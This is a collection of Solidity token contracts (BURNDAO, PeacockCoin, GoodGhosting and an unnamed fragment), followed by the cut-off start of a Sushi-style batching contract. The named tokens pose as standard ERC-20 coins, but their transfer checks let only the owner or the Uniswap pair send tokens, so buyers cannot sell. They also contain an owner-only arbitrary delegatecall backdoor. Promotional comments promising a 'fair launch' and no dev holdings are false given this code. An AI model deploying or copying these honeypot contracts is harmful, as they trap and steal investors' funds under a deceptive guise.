saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
/* * 3# token from me, I'm the dev of APEX & LIQBURN * Dev will keep anonymous * BURNDAO TOKEN. * Join this TG to discuss about this token. * https://t.me/BURNDAOTOKEN * I will add the liquidity first, but disable trade(all details see the NOTE) * wish you guys read the contract and promote this before it started, if you like the idea of a 100% fair launch. * 10000 total supply, no mint, 6% burn, 3% burn to 0x000, 3% transfer to add the liquidity * 200 tokens max per transaction, this will limit forever * NOTE: I will enable DEV MODE to make sure no BOT can trade before I lock the liquidity * NOTE: I will add 1 ETH to the liquidity and locked all 100% tokens at 2020-11-17 12:00 pm time for 1 year * NOTE: I will 100% make sure it will be a fair safe distribution * NOTE: I will not keep any tokens for myself. To clear FUD from dev dumping. * # SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BURNDAO { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* Peacock coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract PeacockCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
/* The new addictive way to save. Our savings pools reward regular savers with higher interest rates. Start building the financial habits you deserve https://discord.com/invite/AWvcTFP https://goodghosting.com/#/ */ pragma solidity ^0.5.17; /* IERC20 interface Allows for calling of different funcions */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } // ---------------------------------------------------------------------------- // Standard Contract interface with transparent write functions // // ---------------------------------------------------------------------------- contract GoodGhosting { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
/// SPDX-License-Identifier: MIT /* ▄▄█ ▄ ██ █▄▄▄▄ ▄█ ██ █ █ █ █ ▄▀ ██ ██ ██ █ █▄▄█ █▀▀▌ ██ ▐█ █ █ █ █ █ █ █ ▐█ ▐ █ █ █ █ █ ▐ █ ██ █ ▀ ▀ */ /// Special thanks to Keno, Boring and Gonpachi for review and continued inspiration. pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // File @boringcrypto/boring-solidity/contracts/libraries/[email protected] /// License-Identifier: MIT /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } } /// @notice Interface for depositing into and withdrawing from Aave lending pool. interface IAaveBridge { function UNDERLYING_ASSET_ADDRESS() external view returns (address); function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; function withdraw( address token, uint256 amount, address destination ) external; } /// @notice Interface for depositing into and withdrawing from BentoBox vault. interface IBentoBridge { function balanceOf(IERC20, address) external view returns (uint256); function registerProtocol() external; function deposit( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); function withdraw( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); } /// @notice Interface for depositing into and withdrawing from Compound finance protocol. interface ICompoundBridge { function underlying() external view returns (address); function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); } /// @notice Interface for Dai Stablecoin (DAI) `permit()` primitive. interface IDaiPermit { function permit( address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s ) external; } /// @notice Interface for depositing into and withdrawing from SushiBar. interface ISushiBarBridge { function enter(uint256 amount) external; function leave(uint256 share) external; } /// @notice Interface for SushiSwap. interface ISushiSwap { function deposit() external payable; function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; } // File @boringcrypto/boring-solidity/contracts/interfaces/[email protected] /// License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /// @notice EIP 2612 function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // File @boringcrypto/boring-solidity/contracts/libraries/[email protected] /// License-Identifier: MIT library BoringERC20 { bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol() bytes4 private constant SIG_NAME = 0x06fdde03; // name() bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals() bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256) bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256) /// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransfer( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } /// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param from Transfer tokens from. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransferFrom( IERC20 token, address from, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed"); } } // File @boringcrypto/boring-solidity/contracts/[email protected] /// License-Identifier: MIT contract BaseBoringBatchable { /// @dev Helper function to extract a useful revert message from a failed call. /// If the returned data is malformed or not correctly abi encoded then this call can fail itself. function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } /// @notice Allows batched call to self (this contract). /// @param calls An array of inputs for each call. /// @param revertOnFail If True then reverts after a failed call and stops doing further calls. /// @return successes An array indicating the success of a call, mapped one-to-one to `calls`. /// @return results An array with the returned data of each function call, mapped one-to-one to `calls`. // F1: External is ok here because this is the batch function, adding it to a batch makes no sense // F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value // C3: The length of the loop is fully under user control, so can't be exploited // C7: Delegatecall is only used on the same contract, so it's safe function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) { successes = new bool[](calls.length); results = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); require(success || !revertOnFail, _getRevertMsg(result)); successes[i] = success; results[i] = result; } } } /// @notice Extends `BoringBatchable` with DAI `permit()`. contract BoringBatchableWithDai is BaseBoringBatchable { address constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // DAI token contract /// @notice Call wrapper that performs `ERC20.permit` on `dai` using EIP 2612 primitive. /// Lookup `IDaiPermit.permit`. function permitDai( address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s ) public { IDaiPermit(dai).permit(holder, spender, nonce, expiry, allowed, v, r, s); } /// @notice Call wrapper that performs 